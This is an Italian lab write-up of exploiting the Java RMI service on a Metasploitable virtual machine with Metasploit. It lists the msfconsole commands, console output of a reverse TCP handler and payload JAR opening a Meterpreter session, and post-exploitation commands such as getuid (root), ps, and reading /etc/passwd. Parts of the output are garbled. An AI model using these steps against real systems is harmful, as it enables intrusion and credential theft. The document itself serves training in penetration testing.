## **PROGETTO**

Dopo aver avviato le due macchine Virtuali e controllato che tra di loro comunicassero, avviamo la console con il comando "msfconsole" e cerchiamo l'exploit Java\_RMI nel Database di Metaspoitable con il comando "search Java\_rmi"



Una volta individuato l'exploit che ci interessa, con il comando "use" lo carichiamo inserendo il numero dell'ID o direttamente il percorso dell'exploit e bisogna andare a vedere le configurazioni richeste per poter utilizzare in modo corretto l'exploit quindi utilizzando il comando "show options" si può avere queste informazioni, Dop aver analizzato le richieste dell'exploit possiamo utilizzare il comando set RHOST possiamo inserire l'indirizzo IP della macchina Metaspoitable, che ci permette di collegarci alla macchina vittima; alla fine si può lanciare il comando exploit o run per eseguire l'exploit



Una volta avviata la sessione possiamo lanciare dei camandi per raccogliere informazioni importanti, tipo lanciando il comando ipconfig è possibile visualizzare a configurazione di rete della macchina remota

```
cat: systeminfo: No such file or directory
msf6 exploit(
                                        ver) > exploit
 *] Started reverse TCP handler on 192.168.50.100:4444
   192.168.50.101:1099 - Using URL: http://192.168.50.100:8080/6uAi21nLn
192.168.50.101:1099 - Server started.
 🚺 192.168.50.101:1099 - Sending RMI Header...
   192.168.50.101:1099 - Sending RMI Call...
192.168.50.101:1099 - Replied to request for payload JAR
   Sending stage (57692 bytes) to 192.168.50.101
  Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:54027) at 2024-02-25 18:17:29 +0100
meterpreter > ipconfig
Interface 1
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.50.101
IPv4 Netmask : 255.255.255.0
IPv6 Netmask : ::
```

Oppure con il Con il comando Route invece si Visualizza la tabella di Routing della macchina remota

```
| Tell |
```

Invece, con il comando sysinfo si possono trovare le informazioni generali del sistema

```
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter : java/linux
meterpreter >
```

Con il comando ls apriamo un elenco dei file della directory

## Oppure con il comando cat /etc/passwd possiamo trovare informazioni sulle password degli utenti



Con il comando getuid possiamo vedere l'ID dell'utente

meterpreter > getuid
Server username: root

Utilizzando ps andiamo a vedere tutti i processi in esecuzione, con opzioni per specificare i criteri di filtro, come l'ID del processo, il nome del processo e lo stato del processo

```
meterpreter > ps
           Name
                                                                                                  User
                                                                                                                  Path
           /sbin/init
[kthreadd]
                                                                                                                   /sbin/init
                                                                                                                   [kthreadd]
                                                                                                   root
           [migration/0]
[ksoftirqd/0]
                                                                                                                  [migration/0]
[ksoftirqd/0]
                                                                                                   root
                                                                                                                   [watchdog/0]
            [events/0]
                                                                                                   root
                                                                                                                   [events/0]
[khelper]
           [kblockd/01
                                                                                                  root
                                                                                                                   [kblockd/01
            [kacpid]
            [kacpi_notify]
                                                                                                                   [kacpi_notify]
            [kseriod]
                                                                                                   root
                                                                                                                   [kseriod]
                                                                                                                   [pdflush
[pdflush
           [pdflush
                                                                                                   root
                                                                                                  root
                                                                                                                   [aio/0]
[ksnapd]
           [aio/0]
           [ksnapd]
           [ata/0]
[ata_aux]
                                                                                                                   [ata/0]
                                                                                                  root
                                                                                                                   [ata_aux]
 1312
           [scsi_eh_1]
                                                                                                  root
                                                                                                                   [scsi_eh_1]
                                                                                                                   [ksuspend_usbd]
[khubd]
            [ksuspend_usbd]
           [khubd]
            [scsi_eh_2]
           [kjournald]
/sbin/udevd
 2218
                                                                                                                                        -daemon
                                                                                                  root
                                                                                                                   /sbin/udevd
           [kpsmoused]
[kjournald]
                                                                                                                   [kpsmoused]
[kjournald]
/sbin/portmap
                                                                                                  root
           /sbin/portmap
                                                                                                                  /sbin/rpc.statd
[rpciod/0]
           /sbin/rpc.statd
[rpciod/0]
                                                                                                  statd
                                                                                                   root
                                                                                                                  [rpciod/0]
/usr/sbin/rpc.idmapd
/sbin/getty 38400 tty4
/sbin/getty 38400 tty5
/sbin/getty 38400 tty2
/sbin/getty 38400 tty3
/sbin/getty 38400 tty6
/sbin/sytty 38400 tty6
/sbin/syslogd -u syslog
/bin/db sh if /proc/kmsg of /var/run/klogd/kmsg
/sbin/klogd -P /var/run/klogd/kmsg
/sbin/klogd -P /var/run/klogd/kmsg
           /usr/sbin/rpc.idmapd
/sbin/getty
                                                                                                  root
           /sbin/getty
                                                                                                  root
           /sbin/getty
           /sbin/getty
/sbin/syslogd
                                                                                                  root
                                                                                                  root
 4026
           /sbin/klogd
           /usr/sbin/named
/usr/sbin/sshd
                                                                                                  bind
                                                                                                  root
                                                                                                                   /usr/sbin/sshd
                                                                                                                  /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 --socket=/var/run/
```

```
/usr/lib/postgresql/8.3/bin/postgres -D /var/lib/postgresql/8.3/main -c config_file=/etc/postgresql/8.3/main/postgresql.conf
4273 postgres:
                                                         postgres postgres: writer process
                                                          postgres postgres: wal writer process
4274 postgres:
                                                                   postgres: autovacuum launcher process
4276 postgres:
                                                         postgres postgres: stats collector process
4296 distccd
                                                                   distccd --daemon --user daemon --allow 0.0.0.0/0
                                                          daemon
     distccd
                                                          daemon
                                                                   distccd -- daemon -- user daemon -- allow 0.0.0.0/0
     [lockd]
                                                                    [lockd]
                                                                    [nfsd4]
     [nfsd4
4348
     [nfsd]
                                                                    [nfsd]
     [nfsd]
     [nfsd]
                                                                    [nfsd]
                                                         root
     [nfsd]
                                                          root
                                                                    [nfsd]
     [nfsd]
                                                          root
                                                                    [nfsd]
     [nfsd]
                                                                    [nfsd]
                                                          root
4354
     [nfsd]
                                                                    [nfsd]
                                                         root
4355 [nfsd]
                                                          root
     /usr/sbin/rpc.mountd
                                                          root
                                                                   /usr/sbin/rpc.mountd
     /usr/lib/postfix/master
                                                                   /usr/lib/postfix/master
                                                         root
     qmgr
                                                                   qmgr -l -t fifo -u
     /usr/sbin/nmbd
                                                                   /usr/sbin/nmbd -D
4434 /usr/sbin/smbd
                                                                   /usr/sbin/smbd -D
     /usr/sbin/smbd
                                                          root
                                                                   /usr/sbin/smbd -D
     /usr/sbin/xinetd
                                                          root
                                                                   /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat
4489 distccd
                                                                   distccd -- daemon -- user daemon -- allow 0.0.0.0/0
                                                         daemon
4490 distccd
                                                         daemon
                                                                   distccd --daemon --user daemon --allow 0.0.0.0/0
     proftpd:
                                                                   proftpd: (accepting connections)
     /usr/sbin/atd
                                                          daemon
                                                                   /usr/sbin/atd
     /usr/sbin/cron
                                                                   /usr/sbin/cron
     /usr/bin/jsvc
                                                                    /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daemon.jar:/usr/share/tomcat5.5/bin/bootstrap.jar -outfile SYSLOG -errfile SYSLOG -pidfile /var/run/tomca
                                                                   t5.5.pid -Djava.awt.headless=true -Xmx128M -Djava.endorsed.dirs=/usr/share/tomcat5.5/common/endorsed -Dcatalina.base=/var/lib/tomcat5.5 -Dcatalina.home=/usr/share
                                                                   /tomcat5.5 -Djava.io.tmpdir=/var/lib/tomcat5.5/comf/catalina.policy org.apache.catalina.sta
                                                                   /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daemon.jar:/usr/share/tomcat5.5/bin/bootstrap.jar -outfile SYSLOG -errfile SYSLOG -pidfile /var/run/tomca
```